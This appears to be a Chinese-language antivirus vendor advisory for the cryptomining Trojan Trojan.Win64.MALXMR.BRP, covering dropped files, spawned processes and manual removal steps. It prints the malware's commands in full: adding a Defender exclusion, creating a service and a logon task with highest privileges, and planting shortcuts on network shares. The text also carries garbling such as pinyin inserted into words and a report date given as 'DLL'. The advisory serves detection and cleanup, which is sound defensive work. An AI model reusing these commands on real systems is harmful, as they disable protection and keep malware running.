Trojan.Win64.MALXMR.BRP

感染途徑: 从互联网上下载, 下载了其他(tā)恶意软件

N

文(wén)件大小(xiǎo): 94,917,120 bytes

报告日期: DLL

初始樣本接收日期: 2024年11月25日

Payload: 植入文(wén)件

N

安(ān)装(zhuāng)

它植入下列文(wén)件：

%System%\svcldr64.dat
%System%\console_zero.exe
%System%\x470764.dat
{Machine IP Address}\{Network Share Folder}\root\x{Random}.vbs
{Machine IP Address}\{Network Share Folder}\root\x{Random}.dat
{Machine IP Address}\{Network Share Folder}\root\rootcomp.dat
{Machine IP Address}\{Network Share Folder}\{Network Share Folder}.lnk

(注意: %System% 是 Windows 的 system 文(wén)件夹，通常位于 C:\Windows\System (Windows 98 和 ME)、C:\WINNT\System32 (Windows NT 和 2000) 和 C:\WINDOWS\system32 (Windows 2000(32-bit)、XP、Server 2003(32-bit)、Vista、7、8、8.1、2008(64-bit),2012(64bit) 和 10(64-bit))。)

它添加下列进程：

cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32'"
cmd.exe /c sc create x470764 binPath= %System%\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x470764\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "%System%\x470764.dat" /f && sc start x470764
cmd.exe /c start "" "%System%\console_zero.exe"
cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "%System%\console_zero.exe" /rl HIGHEST /f
cmd.exe /c timeout /t 16 /nobreak && del /q "%System%\svcldr64.dat"
cmd.exe /c arp -a
cmd.exe /c powershell -Command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('\{Machine IP Address}\{Network Share Folder}\{Network Share Folder}.lnk'); $Shortcut.WorkingDirectory = '\{Machine IP Address}\{Network Share Folder}\rootdir'; $Shortcut.TargetPath = '\{Machine IP Address}\{Network Share Folder}\rootdir\x{Random}.vbs'; $Shortcut.IconLocation = '%System%\shell32.dll, 8'; $Shortcut.Save()"
cmd.exe /c start "" "%System%\crypti.exe"

(注意: %System% 是 Windows 的 system 文(wén)件夹，通常位于 C:\Windows\System (Windows 98 和 ME)、C:\WINNT\System32 (Windows NT 和 2000) 和 C:\WINDOWS\system32 (Windows 2000(32-bit)、XP、Server 2003(32-bit)、Vista、7、8、8.1、2008(64-bit),2012(64bit) 和 10(64-bit))。)

其他(tā)详细信息

该程序执行以下操作(zuò)：

It adds the following service:
- Name: x470764
- Start Type: On Logon
- Binary Path: %System%\console_zero.exe

(注意: %System% 是 Windows 的 system 文(wén)件夹，通常位于 C:\Windows\System (Windows 98 和 ME)、C:\WINNT\System32 (Windows NT 和 2000) 和 C:\WINDOWS\system32 (Windows 2000(32-bit)、XP、Server 2003(32-bit)、Vista、7、8、8.1、2008(64-bit),2012(64bit) 和 10(64-bit))。)

最小(xiǎo)扫描引擎: 9.800

First VSAPI Pattern File: 19.725.96

VSAPI 第一样式发布日期: 2024年11月19日

VSAPI OPR样式版本: 19.727.00

VSAPI OPR样式发布日期: 2024年11月20日

Step 2

对于Windows ME和XP用(yòng)户，在扫描前，请确认已禁用(yòng)系统还原功能(néng)，才可(kě)全面扫描计算机。

Step 3

注意：在此恶意软件/间谍软件/灰色软件执行期间，并非所有(yǒu)文(wén)件、文(wén)件夹和注册表键值和项都会安(ān)装(zhuāng)到您的计算机上。这可(kě)能(néng)是由于不完整的安(ān)装(zhuāng)或其他(tā)操作(zuò)系统条件所致。如果您没有(yǒu)找到相同的文(wén)件/文(wén)件夹/注册表信息，请继续进行下一步操作(zuò)。

Step 4

重启进入安(ān)全模式

[ 更多(duō) ]

Step 6

禁用(yòng)该恶意软件服務(wù)

[ 更多(duō) ]

- x470764

Step 7

删除该注册表键值

[ 更多(duō) ]

注意事项：错误编辑Windows注册表会导致不可(kě)挽回的系统故障。只有(yǒu)在您掌握后或在系统管理(lǐ)员的帮助下才能(néng)完成这步。或者，请先阅读Microsoft文(wén)章，然后再修改计算机注册表。

In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
- x470764

Step 8

搜索和删除这些文(wén)件

[ 更多(duō) ]

有(yǒu)些组件文(wén)件可(kě)能(néng)是隐藏的。请确认在"高级选项"中(zhōng)已选中(zhōng)搜索隐藏文(wén)件和文(wén)件夹复选框，使查找结果包括所有(yǒu)隐藏文(wén)件和文(wén)件夹。

%System%\svcldr64.dat
%System%\console_zero.exe
%System%\x470764.dat
{Machine IP Address}\{Network Share Folder}\root\x{Random}.vbs
{Machine IP Address}\{Network Share Folder}\root\x{Random}.dat
{Machine IP Address}\{Network Share Folder}\root\rootcomp.dat
{Machine IP Address}\{Network Share Folder}\{Network Share Folder}.lnk

DATA_GENERIC_FILENAME_1

在查找范围下拉列表中(zhōng)，选择

我的電(diàn)脑然后回車(chē)确认。

一旦找到，请选择文(wén)件，然后按下SHIFT+DELETE彻底删除文(wén)件。

对剩余的文(wén)件重复第2到4步：
%System%\svcldr64.dat
%System%\console_zero.exe
%System%\x470764.dat
{Machine IP Address}\{Network Share Folder}\root\x{Random}.vbs
{Machine IP Address}\{Network Share Folder}\root\x{Random}.dat
{Machine IP Address}\{Network Share Folder}\root\rootcomp.dat
{Machine IP Address}\{Network Share Folder}\{Network Share Folder}.lnk

Step 9

重启进入正常模式，使用(yòng)亚信安(ān)全产(chǎn)品扫描计算机，检测Trojan.Win64.MALXMR.BRP文(wén)件如果检测到的文(wén)件已被亚信安(ān)全产(chǎn)品清除、删除或隔离，则无需采取进一步措施。可(kě)以选择直接删除隔离的文(wén)件。请参阅知识库页(yè)面了解详细信息。

概要

技(jì )术详细信息

解决方案